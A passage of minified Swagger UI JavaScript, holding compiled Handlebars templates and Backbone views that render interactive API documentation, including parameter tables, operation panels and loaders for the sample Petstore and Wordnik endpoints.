";g=o["if"].call(q,q.isBody,{hash:{},inverse:n.program(9,e,s),fn:n.program(1,m,s),data:s});if(g||g===0){p+=g}p+="\n\n</td>\n<td>";if(g=o.description){g=g.call(q,{hash:{},data:s})}else{g=q.description;g=typeof g===d?g.apply(q):g}if(g||g===0){p+=g}p+="</td>\n<td>";if(g=o.paramType){g=g.call(q,{hash:{},data:s})}else{g=q.paramType;g=typeof g===d?g.apply(q):g}if(g||g===0){p+=g}p+='</td>\n<td>\n <span class="model-signature"></span>\n</td>\n';return p})})();(function(){var b=Handlebars.template,a=Handlebars.templates=Handlebars.templates||{};a.status_code=b(function(e,k,d,j,i){this.compilerInfo=[2,">= 1.0.0-rc.3"];d=d||e.helpers;i=i||{};var g="",c,f="function",h=this.escapeExpression;g+="<td width='15%' class='code'>";if(c=d.code){c=c.call(k,{hash:{},data:i})}else{c=k.code;c=typeof c===f?c.apply(k):c}g+=h(c)+"</td>\n<td>";if(c=d.message){c=c.call(k,{hash:{},data:i})}else{c=k.message;c=typeof c===f?c.apply(k):c}if(c||c===0){g+=c}g+="</td>\n";return g})})();(function(){var b=Handlebars.template,a=Handlebars.templates=Handlebars.templates||{};a.param_readonly=b(function(g,m,f,l,k){this.compilerInfo=[2,">= 1.0.0-rc.3"];f=f||g.helpers;k=k||{};var i="",d,h="function",j=this.escapeExpression,o=this;function e(t,s){var q="",r;q+="\n <textarea class='body-textarea' readonly='readonly' name='";if(r=f.name){r=r.call(t,{hash:{},data:s})}else{r=t.name;r=typeof r===h?r.apply(t):r}q+=j(r)+"'>";if(r=f.defaultValue){r=r.call(t,{hash:{},data:s})}else{r=t.defaultValue;r=typeof r===h?r.apply(t):r}q+=j(r)+"</textarea>\n ";return q}function c(t,s){var q="",r;q+="\n ";r=f["if"].call(t,t.defaultValue,{hash:{},inverse:o.program(6,n,s),fn:o.program(4,p,s),data:s});if(r||r===0){q+=r}q+="\n ";return q}function p(t,s){var q="",r;q+="\n ";if(r=f.defaultValue){r=r.call(t,{hash:{},data:s})}else{r=t.defaultValue;r=typeof r===h?r.apply(t):r}q+=j(r)+"\n ";return q}function n(r,q){return"\n (empty)\n "}i+="<td class='code'>";if(d=f.name){d=d.call(m,{hash:{},data:k})}else{d=m.name;d=typeof d===h?d.apply(m):d}i+=j(d)+"</td>\n<td>\n ";d=f["if"].call(m,m.isBody,{hash:{},inverse:o.program(3,c,k),fn:o.program(1,e,k),data:k});if(d||d===0){i+=d}i+="\n</td>\n<td>";if(d=f.description){d=d.call(m,{hash:{},data:k})}else{d=m.description;d=typeof d===h?d.apply(m):d}if(d||d===0){i+=d}i+="</td>\n<td>";if(d=f.paramType){d=d.call(m,{hash:{},data:k})}else{d=m.paramType;d=typeof d===h?d.apply(m):d}if(d||d===0){i+=d}i+='</td>\n<td><span class="model-signature"></span></td>\n';return i})})();(function(){var b=Handlebars.template,a=Handlebars.templates=Handlebars.templates||{};a.param_readonly_required=b(function(g,m,f,l,k){this.compilerInfo=[2,">= 1.0.0-rc.3"];f=f||g.helpers;k=k||{};var i="",d,h="function",j=this.escapeExpression,o=this;function e(t,s){var q="",r;q+="\n <textarea class='body-textarea' readonly='readonly' placeholder='(required)' name='";if(r=f.name){r=r.call(t,{hash:{},data:s})}else{r=t.name;r=typeof r===h?r.apply(t):r}q+=j(r)+"'>";if(r=f.defaultValue){r=r.call(t,{hash:{},data:s})}else{r=t.defaultValue;r=typeof r===h?r.apply(t):r}q+=j(r)+"</textarea>\n ";return q}function c(t,s){var q="",r;q+="\n ";r=f["if"].call(t,t.defaultValue,{hash:{},inverse:o.program(6,n,s),fn:o.program(4,p,s),data:s});if(r||r===0){q+=r}q+="\n ";return q}function p(t,s){var q="",r;q+="\n ";if(r=f.defaultValue){r=r.call(t,{hash:{},data:s})}else{r=t.defaultValue;r=typeof r===h?r.apply(t):r}q+=j(r)+"\n ";return q}function n(r,q){return"\n (empty)\n "}i+="<td class='code required'>";if(d=f.name){d=d.call(m,{hash:{},data:k})}else{d=m.name;d=typeof d===h?d.apply(m):d}i+=j(d)+"</td>\n<td>\n ";d=f["if"].call(m,m.isBody,{hash:{},inverse:o.program(3,c,k),fn:o.program(1,e,k),data:k});if(d||d===0){i+=d}i+="\n</td>\n<td>";if(d=f.description){d=d.call(m,{hash:{},data:k})}else{d=m.description;d=typeof d===h?d.apply(m):d}if(d||d===0){i+=d}i+="</td>\n<td>";if(d=f.paramType){d=d.call(m,{hash:{},data:k})}else{d=m.paramType;d=typeof d===h?d.apply(m):d}if(d||d===0){i+=d}i+='</td>\n<td><span class="model-signature"></span></td>\n';return i})})();(function(){var b=Handlebars.template,a=Handlebars.templates=Handlebars.templates||{};a.signature=b(function(e,k,d,j,i){this.compilerInfo=[2,">= 1.0.0-rc.3"];d=d||e.helpers;i=i||{};var g="",c,f="function",h=this.escapeExpression;g+='<div>\n<ul class="signature-nav">\n <li><a class="description-link" href="#">Model</a></li>\n <li><a class="snippet-link" href="#">Model Schema</a></li>\n</ul>\n<div>\n\n<div class="signature-container">\n <div class="description">\n ';if(c=d.signature){c=c.call(k,{hash:{},data:i})}else{c=k.signature;c=typeof c===f?c.apply(k):c}if(c||c===0){g+=c}g+='\n </div>\n\n <div class="snippet">\n <pre><code>';if(c=d.sampleJSON){c=c.call(k,{hash:{},data:i})}else{c=k.sampleJSON;c=typeof c===f?c.apply(k):c}g+=h(c)+'</code></pre>\n <small class="notice"></small>\n </div>\n</div>\n\n';return g})})();(function(){var b=Handlebars.template,a=Handlebars.templates=Handlebars.templates||{};a.param_list=b(function(g,r,p,k,t){this.compilerInfo=[2,">= 1.0.0-rc.3"];p=p||g.helpers;t=t||{};var q="",i,e,o=this,d="function",c=this.escapeExpression;function n(v,u){return"\n "}function m(x,w){var u="",v;u+="\n ";v=p["if"].call(x,x.defaultValue,{hash:{},inverse:o.program(6,j,w),fn:o.program(4,l,w),data:w});if(v||v===0){u+=v}u+="\n ";return u}function l(v,u){return"\n "}function j(v,u){return"\n <option selected=\"\" value=''></option>\n "}function h(x,w){var u="",v;u+="\n ";v=p["if"].call(x,x.isDefault,{hash:{},inverse:o.program(11,s,w),fn:o.program(9,f,w),data:w});if(v||v===0){u+=v}u+="\n ";return u}function f(x,w){var u="",v;u+="\n <option value='";if(v=p.value){v=v.call(x,{hash:{},data:w})}else{v=x.value;v=typeof v===d?v.apply(x):v}u+=c(v)+"'>";if(v=p.value){v=v.call(x,{hash:{},data:w})}else{v=x.value;v=typeof v===d?v.apply(x):v}u+=c(v)+" (default)</option>\n ";return u}function s(x,w){var u="",v;u+="\n <option value='";if(v=p.value){v=v.call(x,{hash:{},data:w})}else{v=x.value;v=typeof v===d?v.apply(x):v}u+=c(v)+"'>";if(v=p.value){v=v.call(x,{hash:{},data:w})}else{v=x.value;v=typeof v===d?v.apply(x):v}u+=c(v)+"</option>\n ";return u}q+="<td class='code'>";if(i=p.name){i=i.call(r,{hash:{},data:t})}else{i=r.name;i=typeof i===d?i.apply(r):i}q+=c(i)+"</td>\n<td>\n <select class='parameter' name='";if(i=p.name){i=i.call(r,{hash:{},data:t})}else{i=r.name;i=typeof i===d?i.apply(r):i}q+=c(i)+"'>\n ";i=p["if"].call(r,r.required,{hash:{},inverse:o.program(3,m,t),fn:o.program(1,n,t),data:t});if(i||i===0){q+=i}q+="\n ";e=p.each.call(r,((i=r.allowableValues),i==null||i===false?i:i.descriptiveValues),{hash:{},inverse:o.noop,fn:o.program(8,h,t),data:t});if(e||e===0){q+=e}q+="\n </select>\n</td>\n<td>";if(e=p.description){e=e.call(r,{hash:{},data:t})}else{e=r.description;e=typeof e===d?e.apply(r):e}if(e||e===0){q+=e}q+="</td>\n<td>";if(e=p.paramType){e=e.call(r,{hash:{},data:t})}else{e=r.paramType;e=typeof e===d?e.apply(r):e}if(e||e===0){q+=e}q+='</td>\n<td><span class="model-signature"></span></td>\n';return q})})();(function(){var b=Handlebars.template,a=Handlebars.templates=Handlebars.templates||{};a.main=b(function(g,m,f,l,k){this.compilerInfo=[2,">= 1.0.0-rc.3"];f=f||g.helpers;k=k||{};var i="",c,h="function",j=this.escapeExpression,p=this;function e(v,u){var r="",t,s;r+='\n <div class="info_title">'+j(((t=((t=v.info),t==null||t===false?t:t.title)),typeof t===h?t.apply(v):t))+'</div>\n <div class="info_description">';s=((t=((t=v.info),t==null||t===false?t:t.description)),typeof t===h?t.apply(v):t);if(s||s===0){r+=s}r+="</div>\n ";s=f["if"].call(v,((t=v.info),t==null||t===false?t:t.termsOfServiceUrl),{hash:{},inverse:p.noop,fn:p.program(2,d,u),data:u});if(s||s===0){r+=s}r+="\n ";s=f["if"].call(v,((t=v.info),t==null||t===false?t:t.contact),{hash:{},inverse:p.noop,fn:p.program(4,q,u),data:u});if(s||s===0){r+=s}r+="\n ";s=f["if"].call(v,((t=v.info),t==null||t===false?t:t.license),{hash:{},inverse:p.noop,fn:p.program(6,o,u),data:u});if(s||s===0){r+=s}r+="\n ";return r}function d(u,t){var r="",s;r+='<div class="info_tos"><a href="'+j(((s=((s=u.info),s==null||s===false?s:s.termsOfServiceUrl)),typeof s===h?s.apply(u):s))+'">Terms of service</a></div>';return r}function q(u,t){var r="",s;r+="<div class='info_contact'><a href=\"mailto:"+j(((s=((s=u.info),s==null||s===false?s:s.contact)),typeof s===h?s.apply(u):s))+'">Contact the developer</a></div>';return r}function o(u,t){var r="",s;r+="<div class='info_license'><a href='"+j(((s=((s=u.info),s==null||s===false?s:s.licenseUrl)),typeof s===h?s.apply(u):s))+"'>"+j(((s=((s=u.info),s==null||s===false?s:s.license)),typeof s===h?s.apply(u):s))+"</a></div>";return r}function n(u,t){var r="",s;r+='\n , <span style="font-variant: small-caps">api version</span>: ';if(s=f.apiVersion){s=s.call(u,{hash:{},data:t})}else{s=u.apiVersion;s=typeof s===h?s.apply(u):s}r+=j(s)+"\n ";return r}i+="<div class='info' id='api_info'>\n ";c=f["if"].call(m,m.info,{hash:{},inverse:p.noop,fn:p.program(1,e,k),data:k});if(c||c===0){i+=c}i+="\n</div>\n<div class='container' id='resources_container'>\n <ul id='resources'>\n </ul>\n\n <div class=\"footer\">\n <br>\n <br>\n <h4 style=\"color: #999\">[ <span style=\"font-variant: small-caps\">base url</span>: ";if(c=f.basePath){c=c.call(m,{hash:{},data:k})}else{c=m.basePath;c=typeof c===h?c.apply(m):c}i+=j(c)+"\n ";c=f["if"].call(m,m.apiVersion,{hash:{},inverse:p.noop,fn:p.program(8,n,k),data:k});if(c||c===0){i+=c}i+="]</h4>\n </div>\n</div>\n";return i})})();(function(){var b=Handlebars.template,a=Handlebars.templates=Handlebars.templates||{};a.content_type=b(function(g,l,f,k,j){this.compilerInfo=[2,">= 1.0.0-rc.3"];f=f||g.helpers;j=j||{};var i="",c,h="function",m=this;function e(r,q){var o="",p;o+="\n ";p=f.each.call(r,r.produces,{hash:{},inverse:m.noop,fn:m.program(2,d,q),data:q});if(p||p===0){o+=p}o+="\n";return o}function d(r,q){var o="",p;o+='\n <option value="';p=(typeof r===h?r.apply(r):r);if(p||p===0){o+=p}o+='">';p=(typeof r===h?r.apply(r):r);if(p||p===0){o+=p}o+="</option>\n ";return o}function n(p,o){return'\n <option value="application/json">application/json</option>\n'}i+='<label for="contentType"></label>\n<select name="contentType">\n';c=f["if"].call(l,l.produces,{hash:{},inverse:m.program(4,n,j),fn:m.program(1,e,j),data:j});if(c||c===0){i+=c}i+="\n</select>\n";return i})})();(function(){var b=Handlebars.template,a=Handlebars.templates=Handlebars.templates||{};a.resource=b(function(e,k,d,j,i){this.compilerInfo=[2,">= 1.0.0-rc.3"];d=d||e.helpers;i=i||{};var g="",c,f="function",h=this.escapeExpression;g+="<div class='heading'>\n <h2>\n <a href='#!/";if(c=d.name){c=c.call(k,{hash:{},data:i})}else{c=k.name;c=typeof c===f?c.apply(k):c}g+=h(c)+"' onclick=\"Docs.toggleEndpointListForResource('";if(c=d.name){c=c.call(k,{hash:{},data:i})}else{c=k.name;c=typeof c===f?c.apply(k):c}g+=h(c)+"');\">";if(c=d.name){c=c.call(k,{hash:{},data:i})}else{c=k.name;c=typeof c===f?c.apply(k):c}g+=h(c)+"</a>\n </h2>\n <ul class='options'>\n <li>\n <a href='#!/";if(c=d.name){c=c.call(k,{hash:{},data:i})}else{c=k.name;c=typeof c===f?c.apply(k):c}g+=h(c)+"' id='endpointListTogger_";if(c=d.name){c=c.call(k,{hash:{},data:i})}else{c=k.name;c=typeof c===f?c.apply(k):c}g+=h(c)+"'\n onclick=\"Docs.toggleEndpointListForResource('";if(c=d.name){c=c.call(k,{hash:{},data:i})}else{c=k.name;c=typeof c===f?c.apply(k):c}g+=h(c)+"');\">Show/Hide</a>\n </li>\n <li>\n <a href='#' onclick=\"Docs.collapseOperationsForResource('";if(c=d.name){c=c.call(k,{hash:{},data:i})}else{c=k.name;c=typeof c===f?c.apply(k):c}g+=h(c)+"'); return false;\">\n List Operations\n </a>\n </li>\n <li>\n <a href='#' onclick=\"Docs.expandOperationsForResource('";if(c=d.name){c=c.call(k,{hash:{},data:i})}else{c=k.name;c=typeof c===f?c.apply(k):c}g+=h(c)+"'); return false;\">\n Expand Operations\n </a>\n </li>\n <li>\n <a href='";if(c=d.url){c=c.call(k,{hash:{},data:i})}else{c=k.url;c=typeof c===f?c.apply(k):c}g+=h(c)+"'>Raw</a>\n </li>\n </ul>\n</div>\n<ul class='endpoints' id='";if(c=d.name){c=c.call(k,{hash:{},data:i})}else{c=k.name;c=typeof c===f?c.apply(k):c}g+=h(c)+"_endpoint_list' style='display:none'>\n\n</ul>\n";return g})})();(function(){var b=Handlebars.template,a=Handlebars.templates=Handlebars.templates||{};a.operation=b(function(h,n,g,m,l){this.compilerInfo=[2,">= 1.0.0-rc.3"];g=g||h.helpers;l=l||{};var j="",d,i="function",k=this.escapeExpression,r=this;function f(v,u){var s="",t;s+="\n <h4>Implementation Notes</h4>\n <p>";if(t=g.notes){t=t.call(v,{hash:{},data:u})}else{t=v.notes;t=typeof t===i?t.apply(v):t}if(t||t===0){s+=t}s+="</p>\n ";return s}function c(t,s){return'\n <h4>Response Class</h4>\n <p><span class="model-signature" /></p>\n <br/>\n <div class="response-content-type" />\n '}function q(t,s){return'\n <h4>Parameters</h4>\n <table class=\'fullwidth\'>\n <thead>\n <tr>\n <th style="width: 100px; max-width: 100px">Parameter</th>\n <th style="width: 310px; max-width: 310px">Value</th>\n <th style="width: 200px; max-width: 200px">Description</th>\n <th style="width: 100px; max-width: 100px">Parameter Type</th>\n <th style="width: 220px; max-width: 230px">Data Type</th>\n </tr>\n </thead>\n <tbody class="operation-params">\n\n </tbody>\n </table>\n '}function p(t,s){return"\n <div style='margin:0;padding:0;display:inline'></div>\n <h4>Error Status Codes</h4>\n <table class='fullwidth'>\n <thead>\n <tr>\n <th>HTTP Status Code</th>\n <th>Reason</th>\n </tr>\n </thead>\n <tbody class=\"operation-status\">\n \n </tbody>\n </table>\n "}function o(t,s){return"\n "}function e(t,s){return"\n <div class='sandbox_header'>\n <input class='submit' name='commit' type='button' value='Try it out!' />\n <a href='#' class='response_hider' style='display:none'>Hide Response</a>\n <img alt='Throbber' class='response_throbber' src='images/throbber.gif' style='display:none' />\n </div>\n "}j+="\n <ul class='operations' >\n <li class='";if(d=g.method){d=d.call(n,{hash:{},data:l})}else{d=n.method;d=typeof d===i?d.apply(n):d}j+=k(d)+" operation' id='";if(d=g.resourceName){d=d.call(n,{hash:{},data:l})}else{d=n.resourceName;d=typeof d===i?d.apply(n):d}j+=k(d)+"_";if(d=g.nickname){d=d.call(n,{hash:{},data:l})}else{d=n.nickname;d=typeof d===i?d.apply(n):d}j+=k(d)+"_";if(d=g.method){d=d.call(n,{hash:{},data:l})}else{d=n.method;d=typeof d===i?d.apply(n):d}j+=k(d)+"_";if(d=g.number){d=d.call(n,{hash:{},data:l})}else{d=n.number;d=typeof d===i?d.apply(n):d}j+=k(d)+"'>\n <div class='heading'>\n <h3>\n <span class='http_method'>\n <a href='#!/";if(d=g.resourceName){d=d.call(n,{hash:{},data:l})}else{d=n.resourceName;d=typeof d===i?d.apply(n):d}j+=k(d)+"/";if(d=g.nickname){d=d.call(n,{hash:{},data:l})}else{d=n.nickname;d=typeof d===i?d.apply(n):d}j+=k(d)+"_";if(d=g.method){d=d.call(n,{hash:{},data:l})}else{d=n.method;d=typeof d===i?d.apply(n):d}j+=k(d)+"_";if(d=g.number){d=d.call(n,{hash:{},data:l})}else{d=n.number;d=typeof d===i?d.apply(n):d}j+=k(d)+'\' class="toggleOperation">';if(d=g.method){d=d.call(n,{hash:{},data:l})}else{d=n.method;d=typeof d===i?d.apply(n):d}j+=k(d)+"</a>\n </span>\n <span class='path'>\n <a href='#!/";if(d=g.resourceName){d=d.call(n,{hash:{},data:l})}else{d=n.resourceName;d=typeof d===i?d.apply(n):d}j+=k(d)+"/";if(d=g.nickname){d=d.call(n,{hash:{},data:l})}else{d=n.nickname;d=typeof d===i?d.apply(n):d}j+=k(d)+"_";if(d=g.method){d=d.call(n,{hash:{},data:l})}else{d=n.method;d=typeof d===i?d.apply(n):d}j+=k(d)+"_";if(d=g.number){d=d.call(n,{hash:{},data:l})}else{d=n.number;d=typeof d===i?d.apply(n):d}j+=k(d)+'\' class="toggleOperation">';if(d=g.path){d=d.call(n,{hash:{},data:l})}else{d=n.path;d=typeof d===i?d.apply(n):d}j+=k(d)+"</a>\n </span>\n </h3>\n <ul class='options'>\n <li>\n <a href='#!/";if(d=g.resourceName){d=d.call(n,{hash:{},data:l})}else{d=n.resourceName;d=typeof d===i?d.apply(n):d}j+=k(d)+"/";if(d=g.nickname){d=d.call(n,{hash:{},data:l})}else{d=n.nickname;d=typeof d===i?d.apply(n):d}j+=k(d)+"_";if(d=g.method){d=d.call(n,{hash:{},data:l})}else{d=n.method;d=typeof d===i?d.apply(n):d}j+=k(d)+"_";if(d=g.number){d=d.call(n,{hash:{},data:l})}else{d=n.number;d=typeof d===i?d.apply(n):d}j+=k(d)+'\' class="toggleOperation">';if(d=g.summary){d=d.call(n,{hash:{},data:l})}else{d=n.summary;d=typeof d===i?d.apply(n):d}if(d||d===0){j+=d}j+="</a>\n </li>\n </ul>\n </div>\n <div class='content' id='";if(d=g.resourceName){d=d.call(n,{hash:{},data:l})}else{d=n.resourceName;d=typeof d===i?d.apply(n):d}j+=k(d)+"_";if(d=g.nickname){d=d.call(n,{hash:{},data:l})}else{d=n.nickname;d=typeof d===i?d.apply(n):d}j+=k(d)+"_";if(d=g.method){d=d.call(n,{hash:{},data:l})}else{d=n.method;d=typeof d===i?d.apply(n):d}j+=k(d)+"_";if(d=g.number){d=d.call(n,{hash:{},data:l})}else{d=n.number;d=typeof d===i?d.apply(n):d}j+=k(d)+"_content' style='display:none'>\n ";d=g["if"].call(n,n.notes,{hash:{},inverse:r.noop,fn:r.program(1,f,l),data:l});if(d||d===0){j+=d}j+="\n ";d=g["if"].call(n,n.type,{hash:{},inverse:r.noop,fn:r.program(3,c,l),data:l});if(d||d===0){j+=d}j+="\n <form accept-charset='UTF-8' class='sandbox'>\n <div style='margin:0;padding:0;display:inline'></div>\n ";d=g["if"].call(n,n.parameters,{hash:{},inverse:r.noop,fn:r.program(5,q,l),data:l});if(d||d===0){j+=d}j+="\n ";d=g["if"].call(n,n.responseMessages,{hash:{},inverse:r.noop,fn:r.program(7,p,l),data:l});if(d||d===0){j+=d}j+="\n ";d=g["if"].call(n,n.isReadOnly,{hash:{},inverse:r.program(11,e,l),fn:r.program(9,o,l),data:l});if(d||d===0){j+=d}j+="\n </form>\n <div class='response' style='display:none'>\n <h4>Request URL</h4>\n <div class='block request_url'></div>\n <h4>Response Body</h4>\n <div class='block response_body'></div>\n <h4>Response Code</h4>\n <div class='block response_code'></div>\n <h4>Response Headers</h4>\n <div class='block response_headers'></div>\n </div>\n </div>\n </li>\n </ul>\n";return j})})();(function(){var b=Handlebars.template,a=Handlebars.templates=Handlebars.templates||{};a.param_required=b(function(f,q,o,j,u){this.compilerInfo=[2,">= 1.0.0-rc.3"];o=o||f.helpers;u=u||{};var p="",g,d="function",c=this.escapeExpression,n=this;function m(z,y){var w="",x;w+="\n ";x=o["if"].call(z,z.isFile,{hash:{},inverse:n.program(4,k,y),fn:n.program(2,l,y),data:y});if(x||x===0){w+=x}w+="\n ";return w}function l(z,y){var w="",x;w+='\n <input type="file" name=\'';if(x=o.name){x=x.call(z,{hash:{},data:y})}else{x=z.name;x=typeof x===d?x.apply(z):x}w+=c(x)+"'/>\n ";return w}function k(z,y){var w="",x;w+="\n ";x=o["if"].call(z,z.defaultValue,{hash:{},inverse:n.program(7,h,y),fn:n.program(5,i,y),data:y});if(x||x===0){w+=x}w+="\n ";return w}function i(z,y){var w="",x;w+="\n <textarea class='body-textarea' placeholder='(required)' name='";if(x=o.name){x=x.call(z,{hash:{},data:y})}else{x=z.name;x=typeof x===d?x.apply(z):x}w+=c(x)+"'>";if(x=o.defaultValue){x=x.call(z,{hash:{},data:y})}else{x=z.defaultValue;x=typeof x===d?x.apply(z):x}w+=c(x)+"</textarea>\n ";return w}function h(z,y){var w="",x;w+="\n <textarea class='body-textarea' placeholder='(required)' name='";if(x=o.name){x=x.call(z,{hash:{},data:y})}else{x=z.name;x=typeof x===d?x.apply(z):x}w+=c(x)+'\'></textarea>\n <br />\n <div class="parameter-content-type" />\n ';return w}function e(z,y){var w="",x;w+="\n ";x=o["if"].call(z,z.isFile,{hash:{},inverse:n.program(12,t,y),fn:n.program(10,v,y),data:y});if(x||x===0){w+=x}w+="\n ";return w}function v(z,y){var w="",x;w+="\n <input class='parameter' class='required' type='file' name='";if(x=o.name){x=x.call(z,{hash:{},data:y})}else{x=z.name;x=typeof x===d?x.apply(z):x}w+=c(x)+"'/>\n ";return w}function t(z,y){var w="",x;w+="\n ";x=o["if"].call(z,z.defaultValue,{hash:{},inverse:n.program(15,r,y),fn:n.program(13,s,y),data:y});if(x||x===0){w+=x}w+="\n ";return w}function s(z,y){var w="",x;w+="\n <input class='parameter required' minlength='1' name='";if(x=o.name){x=x.call(z,{hash:{},data:y})}else{x=z.name;x=typeof x===d?x.apply(z):x}w+=c(x)+"' placeholder='(required)' type='text' value='";if(x=o.defaultValue){x=x.call(z,{hash:{},data:y})}else{x=z.defaultValue;x=typeof x===d?x.apply(z):x}w+=c(x)+"'/>\n ";return w}function r(z,y){var w="",x;w+="\n <input class='parameter required' minlength='1' name='";if(x=o.name){x=x.call(z,{hash:{},data:y})}else{x=z.name;x=typeof x===d?x.apply(z):x}w+=c(x)+"' placeholder='(required)' type='text' value=''/>\n ";return w}p+="<td class='code required'>";if(g=o.name){g=g.call(q,{hash:{},data:u})}else{g=q.name;g=typeof g===d?g.apply(q):g}p+=c(g)+"</td>\n<td>\n ";g=o["if"].call(q,q.isBody,{hash:{},inverse:n.program(9,e,u),fn:n.program(1,m,u),data:u});if(g||g===0){p+=g}p+="\n</td>\n<td>\n <strong>";if(g=o.description){g=g.call(q,{hash:{},data:u})}else{g=q.description;g=typeof g===d?g.apply(q):g}if(g||g===0){p+=g}p+="</strong>\n</td>\n<td>";if(g=o.paramType){g=g.call(q,{hash:{},data:u})}else{g=q.paramType;g=typeof g===d?g.apply(q):g}if(g||g===0){p+=g}p+='</td>\n<td><span class="model-signature"></span></td>\n';return p})})();(function(){var b=Handlebars.template,a=Handlebars.templates=Handlebars.templates||{};a.response_content_type=b(function(g,l,f,k,j){this.compilerInfo=[2,">= 1.0.0-rc.3"];f=f||g.helpers;j=j||{};var i="",c,h="function",m=this;function e(r,q){var o="",p;o+="\n ";p=f.each.call(r,r.produces,{hash:{},inverse:m.noop,fn:m.program(2,d,q),data:q});if(p||p===0){o+=p}o+="\n";return o}function d(r,q){var o="",p;o+='\n <option value="';p=(typeof r===h?r.apply(r):r);if(p||p===0){o+=p}o+='">';p=(typeof r===h?r.apply(r):r);if(p||p===0){o+=p}o+="</option>\n ";return o}function n(p,o){return'\n <option value="application/json">application/json</option>\n'}i+='<label for="responseContentType"></label>\n<select name="responseContentType">\n';c=f["if"].call(l,l.produces,{hash:{},inverse:m.program(4,n,j),fn:m.program(1,e,j),data:j});if(c||c===0){i+=c}i+="\n</select>\n";return i})})();(function(){var b=Handlebars.template,a=Handlebars.templates=Handlebars.templates||{};a.parameter_content_type=b(function(g,l,f,k,j){this.compilerInfo=[2,">= 1.0.0-rc.3"];f=f||g.helpers;j=j||{};var i="",c,h="function",m=this;function e(r,q){var o="",p;o+="\n ";p=f.each.call(r,r.consumes,{hash:{},inverse:m.noop,fn:m.program(2,d,q),data:q});if(p||p===0){o+=p}o+="\n";return o}function d(r,q){var o="",p;o+='\n <option value="';p=(typeof r===h?r.apply(r):r);if(p||p===0){o+=p}o+='">';p=(typeof r===h?r.apply(r):r);if(p||p===0){o+=p}o+="</option>\n ";return o}function n(p,o){return'\n <option value="application/json">application/json</option>\n'}i+='<label for="parameterContentType"></label>\n<select name="parameterContentType">\n';c=f["if"].call(l,l.consumes,{hash:{},inverse:m.program(4,n,j),fn:m.program(1,e,j),data:j});if(c||c===0){i+=c}i+="\n</select>\n";return i})})();(function(){var g,c,i,d,m,f,k,a,l,j,b,h={}.hasOwnProperty,e=function(q,o){for(var n in o){if(h.call(o,n)){q[n]=o[n]}}function p(){this.constructor=q}p.prototype=o.prototype;q.prototype=new p();q.__super__=o.prototype;return q};b=(function(o){e(n,o);function n(){return n.__super__.constructor.apply(this,arguments)}n.prototype.dom_id="swagger_ui";n.prototype.options=null;n.prototype.api=null;n.prototype.headerView=null;n.prototype.mainView=null;n.prototype.initialize=function(p){var q=this;if(p==null){p={}}if(p.dom_id!=null){this.dom_id=p.dom_id;delete p.dom_id}if($("#"+this.dom_id)==null){$("body").append('<div id="'+this.dom_id+'"></div>')}this.options=p;this.options.success=function(){return q.render()};this.options.progress=function(r){return q.showMessage(r)};this.options.failure=function(r){return q.onLoadFailure(r)};this.headerView=new c({el:$("#header")});return this.headerView.on("update-swagger-ui",function(r){return q.updateSwaggerUi(r)})};n.prototype.updateSwaggerUi=function(p){this.options.url=p.url;return this.load()};n.prototype.load=function(){var p,q;if((q=this.mainView)!=null){q.clear()}p=this.options.url;if(p.indexOf("http")!==0){p=this.buildUrl(window.location.href.toString(),p)}this.options.url=p;this.headerView.update(p);this.api=new SwaggerApi(this.options);this.api.build();return this.api};n.prototype.render=function(){var p=this;this.showMessage("Finished Loading Resource Information. Rendering Swagger UI...");this.mainView=new i({model:this.api,el:$("#"+this.dom_id)}).render();this.showMessage();switch(this.options.docExpansion){case"full":Docs.expandOperationsForResource("");break;case"list":Docs.collapseOperationsForResource("")}if(this.options.onComplete){this.options.onComplete(this.api,this)}return setTimeout(function(){return Docs.shebang()},400)};n.prototype.buildUrl=function(q,p){var r;console.log("base is "+q);r=q.split("/");q=r[0]+"//"+r[2];if(p.indexOf("/")===0){return q+p}else{return q+"/"+p}};n.prototype.showMessage=function(p){if(p==null){p=""}$("#message-bar").removeClass("message-fail");$("#message-bar").addClass("message-success");return $("#message-bar").html(p)};n.prototype.onLoadFailure=function(p){var q;if(p==null){p=""}$("#message-bar").removeClass("message-success");$("#message-bar").addClass("message-fail");q=$("#message-bar").html(p);if(this.options.onFailure!=null){this.options.onFailure(p)}return q};return n})(Backbone.Router);window.SwaggerUi=b;c=(function(o){e(n,o);function n(){return n.__super__.constructor.apply(this,arguments)}n.prototype.events={"click #show-pet-store-icon":"showPetStore","click #show-wordnik-dev-icon":"showWordnikDev","click #explore":"showCustom","keyup #input_baseUrl":"showCustomOnKeyup","keyup #input_apiKey":"showCustomOnKeyup"};n.prototype.initialize=function(){};n.prototype.showPetStore=function(p){return this.trigger("update-swagger-ui",{url:"http://petstore.swagger.wordnik.com/api/api-docs"})};n.prototype.showWordnikDev=function(p){return this.trigger("update-swagger-ui",{url:"http://api.wordnik.com/v4/resources.json"})};n.prototype.showCustomOnKeyup=function(p){if(p.keyCode===13){return this.showCustom()}};n.prototype.showCustom=function(p){if(p!=null){p.preventDefault()}return this.trigger("update-swagger-ui",{url:$("#input_baseUrl").val(),apiKey:$("#input_apiKey").val()})};n.prototype.update=function(q,r,p){if(p==null){p=false}$("#input_baseUrl").val(q);if(p){return this.trigger("update-swagger-ui",{url:q})}};return n})(Backbone.View);i=(function(n){e(o,n);function o(){return o.__super__.constructor.apply(this,arguments)}o.prototype.initialize=function(){};o.prototype.render=function(){var s,r,p,q;$(this.el).html(Handlebars.templates.main(this.model));q=this.model.apisArray;for(r=0,p=q.length;r<p;r++){s=q[r];this.addResource(s)}return this};o.prototype.addResource=function(q){var p;p=new k({model:q,tagName:"li",id:"resource_"+q.name,className:"resource"});return $("#resources").append(p.render().el)};o.prototype.clear=function(){return $(this.el).html("")};return o})(Backbone.View);k=(function(o){e(n,o);function n(){return n.__super__.constructor.apply(this,arguments)}n.prototype.initialize=function(){};n.prototype.render=function(){var q,s,p,r;$(this.el).html(Handlebars.templates.resource(this.model));this.number=0;r=this.model.operationsArray;for(s=0,p=r.length;s<p;s++){q=r[s];this.addOperation(q)}return this};n.prototype.addOperation=function(p){var q;p.number=this.number;q=new d({model:p,tagName:"li",className:"endpoint"});$(".endpoints",$(this.el)).append(q.render().el);return this.number++};return n})(Backbone.View);d=(function(o){e(n,o);function n(){return n.__super__.constructor.apply(this,arguments)}n.prototype.events={"submit .sandbox":"submitOperation","click .submit":"submitOperation","click .response_hider":"hideResponse","click .toggleOperation":"toggleOperationContent"};n.prototype.initialize=function(){};n.prototype.render=function(){var 